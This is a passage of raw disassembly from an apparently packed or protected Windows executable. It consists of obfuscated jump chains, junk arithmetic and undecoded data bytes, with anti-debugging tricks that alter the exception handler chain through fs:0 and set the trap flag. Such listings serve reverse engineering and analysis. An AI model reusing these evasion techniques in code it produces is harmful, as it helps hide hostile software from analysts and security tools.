--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EE91: ; CODE XREF: sub_439ED1+1ABj mov [ecx], eax add ecx, 4 mov [ecx], eax push edi push 33B13352h pop edi loc_43EEA2: ; CODE XREF: _802izwe5:0043BDE8j or edi, 0F8A9A852h loc_43EEA8: ; CODE XREF: _802izwe5:loc_439EB7j jmp loc_437C44 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EEAE: ; CODE XREF: sub_439ED1-B94j pop dword ptr fs:0 xchg eax, [esp-1Ch+arg_14] pop eax push ebx pushf push 0F9B539E7h pop ebx jmp loc_438A48 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43EEC5: ; CODE XREF: _802izwe5:0043F286j add eax, 92EB7B52h sub eax, 0ED133341h add eax, 4D1E7FAFh and eax, 0F8B63999h xor eax, 0B8A6399Dh add ecx, eax pop eax mov [ecx], eax jmp loc_4376F6 ; --------------------------------------------------------------------------- locret_43EEED: ; CODE XREF: _802izwe5:0043C997j retn ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43EEEF proc near ; CODE XREF: sub_43D7EEp ; _802izwe5:0043F59Cj ; FUNCTION CHUNK AT 004386F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CBD1 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx push eax mov eax, edi xchg eax, [esp+0] push 8AA01714h pop edi xor edi, 7028CFBh jmp loc_4386F9 sub_43EEEF endp ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- push es call fword ptr [esi+5Fh] or edi, 291E0E14h add edi, 8EB50E94h jmp loc_43F921 ; --------------------------------------------------------------------------- xor eax, eax push esp jmp loc_43BDD5 ; --------------------------------------------------------------------------- align 2 push 43D5B3h jmp locret_43D59E ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43EF35: ; CODE XREF: _802izwe5:0043EE10j ; DATA XREF: _802izwe5:0043D498o pop dword ptr fs:0 xchg eax, [esp] pop eax call eax ; START OF FUNCTION CHUNK FOR sub_4378C2 loc_43EF41: ; CODE XREF: sub_4378C2:loc_43B3C8j ; _802izwe5:0043E767j call sub_438378 ; END OF FUNCTION CHUNK FOR sub_4378C2 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EF47: ; CODE XREF: sub_439ED1+4B8Fj jmp loc_43C4EC ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43EF4C: ; CODE XREF: _802izwe5:0043DBAEj jmp loc_439473 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43844A loc_43EF53: ; CODE XREF: sub_43844A-1027j jmp loc_43D2D5 ; END OF FUNCTION CHUNK FOR sub_43844A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43EF5A: ; CODE XREF: _802izwe5:0043B964j push offset byte_437901 jmp loc_43ED49 ; --------------------------------------------------------------------------- dd 81018900h, 4C1h, 81018900h, 0A0C1h, 4C01C700h, 3300439Ch db 0C0h, 59h, 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EF7F: ; CODE XREF: sub_439ED1+ABDj jmp nullsub_10 ; --------------------------------------------------------------------------- loc_43EF84: ; CODE XREF: sub_439ED1+500j jmp loc_43944A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 dw 6467h dd 36FFh, 26896467h, 9DE90000h, 0FFFFE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C50C loc_43EF9D: ; CODE XREF: sub_43C50C+2C1Aj pop edi xchg eax, [esp+8+var_8] popf nop jmp loc_43BEA6 ; END OF FUNCTION CHUNK FOR sub_43C50C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43EFA8: ; CODE XREF: sub_439ED1:loc_439331j ; sub_439ED1:loc_43C571j sub esi, 363BD7BEh add esi, 0B2C8D0CDh add eax, esi pop esi mov eax, [eax] push offset byte_43D4D7 jmp nullsub_11 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 81018900h, 4C1h, 81018900h, 4C1h, 81018900h, 4C1h, 0E9018900h dd 0FFFFAFD6h, 81018900h, 4C1h, 50018900h, 0FF9C23E9h dd 18900FFh, 43A42F68h, 0E967E900h, 0C100FFFFh, 1B807C0h dd 1B89E9FAh db 0F2h byte_43F00D db 67h, 64h, 8Fh ; DATA XREF: sub_439ED1+47Bo dd 0E9000006h, 0FFFFB652h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F01A: ; CODE XREF: sub_439ED1:loc_43AB69j xor eax, eax pop ecx locret_43F01D: ; CODE XREF: _802izwe5:loc_43F28Cj retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 6467h dd 36FFh, 26896467h, 79E90000h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43F02F: ; CODE XREF: _802izwe5:0043B94Fj mov byte ptr [esi], 8Bh pop esi and eax, 5463066Eh add eax, 0E3E31F76h jmp near ptr dword_438B68+32h ; --------------------------------------------------------------------------- call loc_43C959 ; START OF FUNCTION CHUNK FOR sub_43844A loc_43F049: ; CODE XREF: sub_43844A+4E9Dj jmp loc_439AE3 ; END OF FUNCTION CHUNK FOR sub_43844A ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_43F051: ; CODE XREF: _802izwe5:0043D95Bj jmp near ptr dword_4388D0+1 ; --------------------------------------------------------------------------- word_43F056 dw 0C6h ; DATA XREF: sub_439ED1:loc_43B542o dd 0F1E85803h, 0BBFFFFA9h, 35930412h dd 68F6467h, 4870000h, 85C75824h, 0FFFFFF7Fh, 75626544h ; DATA XREF: sub_43D600+1BB4o dd 0FFA977E8h, 0E99C00FFh, 275h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43F086: ; CODE XREF: _802izwe5:0043DD2Dj mov edi, ecx ; =============== S U B R O U T I N E ======================================= sub_43F088 proc near ; CODE XREF: sub_43C65A:loc_43C848p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438CA8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D533 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx xchg ecx, [esp+0] pop ecx push 0EF6E2C26h pop esi jmp loc_43D533 sub_43F088 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebx, [edx] shl ebx, 19h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F0A0: ; CODE XREF: sub_439ED1+4A05j sub ebx, 0CFAFC76Eh xor ebx, 2A727835h add ecx, ebx pop ebx mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43AA55 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43F0BD: ; CODE XREF: _802izwe5:0043BF31j or eax, 0B874861Ch rol eax, 1Bh add eax, 0DD9EE2BCh xor eax, 0CB31CC83h call loc_43A1EB loc_43F0D7: ; CODE XREF: sub_43C169+8D9j add bl, al ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43F0D9: ; CODE XREF: sub_43C65A+17Bj jmp loc_43B69B ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 10h dword_43F0E0 dd 870F07C6h, 0F98B240Ch, 0EAF6E859h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F0EF: ; CODE XREF: sub_439ED1+3B9Fj jmp near ptr dword_43890C+3Fh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C034 loc_43F0F4: ; CODE XREF: sub_43C034-B90j jmp loc_43B28B ; END OF FUNCTION CHUNK FOR sub_43C034 ; --------------------------------------------------------------------------- align 2 loc_43F0FA: ; CODE XREF: _802izwe5:00437CDCj jmp loc_437DDA ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF84ACh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C50C loc_43F106: ; CODE XREF: sub_43C50C+286Aj add edi, 80E894D4h or edi, 0B69EED3Fh xor edi, 0FB46D941h sub edi, 0AB4B0026h add edi, 0A5B2CCA8h or eax, edi jmp loc_43EF9D ; END OF FUNCTION CHUNK FOR sub_43C50C ; --------------------------------------------------------------------------- byte_43F12B db 68h ; DATA XREF: sub_438D1E+6o dd 0ED16F0FCh, 28E3815Bh, 81AC8F6Eh, 6D5ABBEBh, 0BEC381EAh dd 81F9D1DDh, 6C9417CBh, 0D249E86Eh, 0FFFFh ; --------------------------------------------------------------------------- loc_43F150: ; CODE XREF: _802izwe5:0043E819j jmp near ptr dword_439A1C+11h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43F157: ; CODE XREF: _802izwe5:0043B129j jmp near ptr dword_43AA04+9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43F15E: ; CODE XREF: _802izwe5:00438CD2j jmp loc_43A4C0 ; --------------------------------------------------------------------------- loc_43F163: ; CODE XREF: _802izwe5:0043DFCAj add edi, 6C20C6D2h sub edi, 7E528C71h xor edi, 1C4B6BABh add ecx, edi pop edi mov al, [ecx] add ecx, 9Ch jmp loc_43E2D0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F186: ; CODE XREF: _802izwe5:00439EB0j jmp loc_43AC4D ; =============== S U B R O U T I N E ======================================= sub_43F18B proc near ; CODE XREF: sub_439ED1:loc_437BD4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00437BC0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00437FB9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043828C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004383FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043901D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004390C1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043AEC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B785 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043B7A6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043C5E4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043CB55 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043CCF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CF3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D0B4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043DC16 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E582 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043EBD2 SIZE 00000006 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43B785 sub_43F18B endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43F19D proc far ; CODE XREF: _802izwe5:0043AFE1p xchg eax, [esp+0] pop eax mov [ecx], eax add ecx, 4 jmp near ptr loc_43A3A6+1 sub_43F19D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D600 loc_43F1AE: ; CODE XREF: sub_43D600+1324j add ecx, 4 mov dword ptr [ecx], offset dword_43F064 xor eax, eax pop ecx jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_43D600 ; --------------------------------------------------------------------------- align 4 test edx, ebp jmp loc_43F7A4 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43F1CD: ; CODE XREF: _802izwe5:loc_43C14Ej add ecx, 9Ch add [ecx], al add ecx, 4 push offset loc_43DB7C jmp loc_43BC16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F1E5: ; CODE XREF: sub_439ED1+3A3j mov fs:0, esp jmp loc_43B7BB ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43F1F0: ; CODE XREF: _802izwe5:0043B6EEj jns loc_43A6E5 test esi, eax jmp loc_43BA2F ; --------------------------------------------------------------------------- add ecx, 4 mov dword ptr [ecx], offset loc_43CBF4 xor eax, eax pop ecx jmp loc_43D5A0 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43F213: ; CODE XREF: _802izwe5:0043B434j mov ebp, ecx xchg ebp, [esp] jmp loc_43D6DF ; --------------------------------------------------------------------------- loc_43F21D: ; CODE XREF: _802izwe5:loc_43C48Dj jnb loc_4397F2 jmp loc_43A184 ; --------------------------------------------------------------------------- dd 8D0F0000h, 0FFFFB256h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D66E loc_43F231: ; CODE XREF: sub_43D66E+8j jmp loc_43E13A ; END OF FUNCTION CHUNK FOR sub_43D66E ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F237: ; CODE XREF: sub_439ED1+CBEj jmp loc_43B019 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43F23C: ; CODE XREF: _802izwe5:004383ABj jmp loc_43CB7C ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh db 87h, 0FFh dw 0FFDEh dd 0E9F987FFh, 0FFFFB228h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4391DC loc_43F252: ; CODE XREF: sub_4391DC:loc_438261j mov byte ptr [ebx], 9Ch pop ebx pop edi mov eax, edx xchg eax, [esp-4+arg_0] push offset word_43EA9E jmp loc_43BBF3 ; END OF FUNCTION CHUNK FOR sub_4391DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F267: ; CODE XREF: sub_439ED1+AECj add eax, ebp add eax, 0CAF22C88h popf push ebp jmp loc_43863A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43F277: ; DATA XREF: sub_43C65A:loc_43C712o add ecx, 4 mov [ecx], eax push eax push 0C8F8F83Bh pop eax jmp loc_43EEC5 ; --------------------------------------------------------------------------- align 4 loc_43F28C: ; CODE XREF: _802izwe5:00438DDAj jnb locret_43F01D push 0D40B6856h jmp sub_43C0C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D573 loc_43F29C: ; CODE XREF: sub_43D573:loc_43EA4Cj pop ebp mov byte ptr [edi], 87h xchg esi, [esp-4+arg_0] mov edi, esi jmp loc_43A782 ; END OF FUNCTION CHUNK FOR sub_43D573 ; --------------------------------------------------------------------------- dw 8B00h dd 6A63682Eh, 23E9C544h, 0FFFFABh db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43F2BA: ; CODE XREF: _802izwe5:0043B183j jmp loc_43AA76 ; --------------------------------------------------------------------------- xchg eax, [esp] or eax, 100h xchg eax, [esp] popf nop jmp loc_43A46D ; --------------------------------------------------------------------------- dw 0F00h dd 0FFA3078Ch, 0A29EE9FFh, 0C5E9FFFFh, 0FFFF85h, 0FF9C9DE9h dd 0CC5C1FFh, 58D0FA81h, 0D9E99414h, 0FFFFA2h, 24048700h dd 100C881h, 4870000h, 0E9909D24h, 0FFFFBD74h, 0BF570000h dd 438882h, 562E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F31B: ; CODE XREF: sub_439ED1+3573j mov ecx, esp push ebx push 0A1B5EFBDh pop ebx jmp loc_43E8CA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 pop dword ptr fs:0 xchg eax, [esp] pop eax push 437821h jmp locret_43C740 ; --------------------------------------------------------------------------- align 10h loc_43F340: ; CODE XREF: _802izwe5:0043D501j or edx, 0D803A97Fh rol edx, 11h test edx, 200000h loc_43F34F: ; CODE XREF: _802izwe5:loc_43CF86j jmp loc_43F85D ; --------------------------------------------------------------------------- dd 81580000h, 0D2F152F0h, 0F2C08151h, 65CFB45Eh, 6CC081C5h dd 8B161EF7h, 0E8008A00h, 0FFFFD847h, 0FFE90000h, 0FFFF96h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F37C: ; CODE XREF: sub_439ED1+5B0Dj add edi, 0B76E51C8h jmp loc_43BDB8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E3D6 loc_43F389: ; CODE XREF: sub_43E3D6:loc_43DC63j push offset loc_43D87E jmp loc_43D3AF ; END OF FUNCTION CHUNK FOR sub_43E3D6 ; --------------------------------------------------------------------------- db 99h dd 0E913C5C1h, 0FFFFDD64h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F39D: ; CODE XREF: sub_439ED1+595Bj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_438616 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_43F3B2 proc near ; CODE XREF: _802izwe5:0043DFEEp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004388BB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043946E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B78F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D62F SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043D6AA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D976 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E9F1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F9B4 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call near ptr sub_43D7EE lodsd add eax, offset loc_43EC7D call near ptr sub_43D067 push ebp jmp loc_43B78F sub_43F3B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F3CD: ; CODE XREF: sub_439ED1+8DBj mov byte ptr [edi], 9Dh push offset sub_4391DC jmp loc_439D65 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0E92E8799h, 0FFFFDD3Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F3E6: ; CODE XREF: sub_439ED1+32ADj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax jmp loc_43B832 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F406: ; CODE XREF: sub_439ED1:loc_43BEB1j mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_438123 xor eax, eax jmp loc_43C47F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- xchg edi, [esp] pop edi push ebx push 5B122B9Eh pop ebx or ebx, 7C46EABEh rol ebx, 5 and ebx, 0E3CCAA0Ah jmp loc_43F74F ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 dw 0E951h dd 0FFFFD8D4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438378 loc_43F445: ; CODE XREF: sub_438378:loc_438B9Fj mov esi, offset loc_43C113 jmp loc_43C314 ; END OF FUNCTION CHUNK FOR sub_438378 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F44F: ; CODE XREF: sub_439ED1+6C9j pop dword ptr fs:0 xchg eax, [esp+0] pop eax add edx, eax rol edx, 3 call near ptr dword_437CE4+3Ah jmp loc_43C340 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43F468: ; CODE XREF: _802izwe5:0043ED16j mov eax, [eax] call near ptr sub_43F990 jmp loc_43D963 ; --------------------------------------------------------------------------- loc_43F474: ; CODE XREF: _802izwe5:00437B3Ej mov byte ptr [eax], 87h pop eax add eax, 0FB3E6428h loc_43F47E: ; DATA XREF: _802izwe5:00437B39o mov ebx, 68E92404h jecxz short near ptr loc_43F483+1 ; CODE XREF: _802izwe5:loc_43F483j inc dword ptr [eax] add [eax-2Fh], ch sbb eax, 0E958FC29h mov ebp, 0FFFFF2h loc_43F494: ; CODE XREF: _802izwe5:0043E0C2p add [edi+50582404h], al sbb eax, ebx jmp loc_43E209 ; --------------------------------------------------------------------------- db 2 dup(0), 0C7h ; --------------------------------------------------------------------------- add [ebp+73h], edx inc ebx add [ebx], dh rol byte ptr [edi-3074DBC4h], 5Fh retn ; --------------------------------------------------------------------------- align 4 dd 0FC2E8A0Fh, 810FFFFFh, 0FFFFD5E8h, 0FFFB9AE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_438CBC loc_43F4C6: ; CODE XREF: sub_438CBC:loc_43C494j pushf jmp near ptr dword_437428+87h ; END OF FUNCTION CHUNK FOR sub_438CBC ; --------------------------------------------------------------------------- dd 1C870000h, 8B505B24h, 240487C7h, 0FFE9F88Bh, 0FFFFFDh ; --------------------------------------------------------------------------- loc_43F4E0: ; CODE XREF: _802izwe5:00439632j xchg ecx, [esp] pop ecx push 571304A4h pop eax jmp loc_43C79E ; --------------------------------------------------------------------------- align 10h db 0 ; =============== S U B R O U T I N E ======================================= sub_43F4F1 proc near push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_43909C+8 sub_43F4F1 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F504: ; CODE XREF: sub_439ED1+49C1j test ebp, 6839F962h jmp loc_43BD55 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E40D loc_43F511: ; CODE XREF: sub_43E40D-19FFj mov byte ptr [esi], 3 pop esi pop eax sub eax, 8EB722EEh push edi jmp loc_4378F7 ; END OF FUNCTION CHUNK FOR sub_43E40D ; --------------------------------------------------------------------------- align 4 xchg esi, ebp jmp loc_438376 ; --------------------------------------------------------------------------- byte_43F52B db 0F2h ; CODE XREF: sub_43844A:loc_43845Fj db 0CCh ; --------------------------------------------------------------------------- jmp loc_43BEA0 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F535: ; CODE XREF: sub_439ED1:loc_43B595j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax jmp loc_43974E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dword_43F54C dd 0BDCBBA52h, 3EE90043h, 0FFFFB5h; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F558: ; CODE XREF: sub_439ED1:loc_43E9BAj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax call sub_43E2BD jmp near ptr dword_437548+0B0h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) word_43F576 dw 6857h ; DATA XREF: sub_438989+51E7o dd 0B4BA3587h, 83E7815Fh, 812C4738h, 46E43CC7h, 0CCE7E825h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F58E: ; CODE XREF: sub_439ED1+4430j jmp loc_43B136 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F595: ; CODE XREF: sub_439ED1+B11j jmp loc_43CC20 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- add ecx, ebx jmp sub_43EEEF ; --------------------------------------------------------------------------- shr ebx, 1Fh xor esi, 5AF03A12h jmp sub_43C2EA ; --------------------------------------------------------------------------- align 10h loc_43F5B0: ; CODE XREF: _802izwe5:0043C352j add eax, 0BB78E339h jmp near ptr word_43AB2E+1 ; --------------------------------------------------------------------------- retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] align 2 dw 815Bh dd 5C0FE8C9h, 0A36852AAh, 5A91BC11h, 0E91EC2C1h, 0FFFFE0DDh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F5D6: ; CODE XREF: sub_439ED1:loc_43E599j push offset word_43D98E jmp nullsub_48 ; --------------------------------------------------------------------------- loc_43F5E0: ; CODE XREF: sub_439ED1+EB1j pushf ; END OF FUNCTION CHUNK FOR sub_439ED1 ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43F5E1: ; CODE XREF: sub_43F688-1FFFj add ecx, 0ECC3D382h xchg ecx, [esp+4+var_4] jmp loc_43D7CA ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_438C04 loc_43F5F0: ; CODE XREF: sub_438C04+4ACFj ror edi, 0Fh and eax, 11E03388h add eax, edi loc_43F5FB: ; DATA XREF: _802izwe5:0043B45Ao pop dword ptr fs:0 jmp near ptr dword_43718C+78h ; END OF FUNCTION CHUNK FOR sub_438C04 ; --------------------------------------------------------------------------- dw 0F00h dd 0FFDECF80h, 241C87FFh, 0B82B685Bh, 0E959F120h, 0FFFF8A7Ch ; --------------------------------------------------------------------------- loc_43F61C: ; CODE XREF: _802izwe5:loc_43E593j jl near ptr dword_439724+2 adc esi, 7263647Ah jmp near ptr dword_43C578+7 ; --------------------------------------------------------------------------- align 2 loc_43F62E: ; CODE XREF: _802izwe5:0043D49Ej xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- align 4 loc_43F634: ; CODE XREF: _802izwe5:0043D030j jmp near ptr dword_43846C+0Ch ; --------------------------------------------------------------------------- db 2 dup(0), 67h dd 36FF64h, 89646700h, 0E9000026h, 0FFFF7EFCh, 24148700h dd 58C7815Ah, 688017D9h, 438B1Dh, 0FF94B5E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43F662: ; CODE XREF: sub_439ED1+CB6j sbb edx, 3388F461h add esi, 71044CACh jmp loc_438A20 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0E9CAD100h, 0FFFFD6FEh, 97C68100h, 0E9226555h, 0FFFFA75Dh ; =============== S U B R O U T I N E ======================================= sub_43F688 proc far ; CODE XREF: _802izwe5:004397A1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004373EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437F0F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043B668 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BDC1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043CBA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D67D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043D7CA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043DCED SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E7D7 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043EE61 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043F5E1 SIZE 0000000E BYTES xchg eax, [esp+4+var_4] pop eax pop ebx cmp dword ptr [ebp-8], 0 loc_43F691: ; DATA XREF: sub_439ED1+1530o xor eax, 0FFC8D085h inc esi inc ebp loopne loc_43F6CB jmp loc_43CBA7 ; --------------------------------------------------------------------------- dd 0D081328Bh, 1B7CDE9h, 0FFE924E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43F6AF: ; CODE XREF: sub_439ED1:loc_437734j mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], (offset loc_439C7C+1) xor eax, eax jmp loc_4373EE ; --------------------------------------------------------------------------- db 2 dup(0) word_43F6C6 dw 0E981h ; CODE XREF: sub_439ED1+BCBj db 0FFh, 0BBh, 18h ; --------------------------------------------------------------------------- loc_43F6CB: ; CODE XREF: sub_43F688+11j shr al, cl loc_43F6CD: ; CODE XREF: sub_439ED1-1EB1j sal dword ptr [ebp+0B00FFFFh], 0CBh 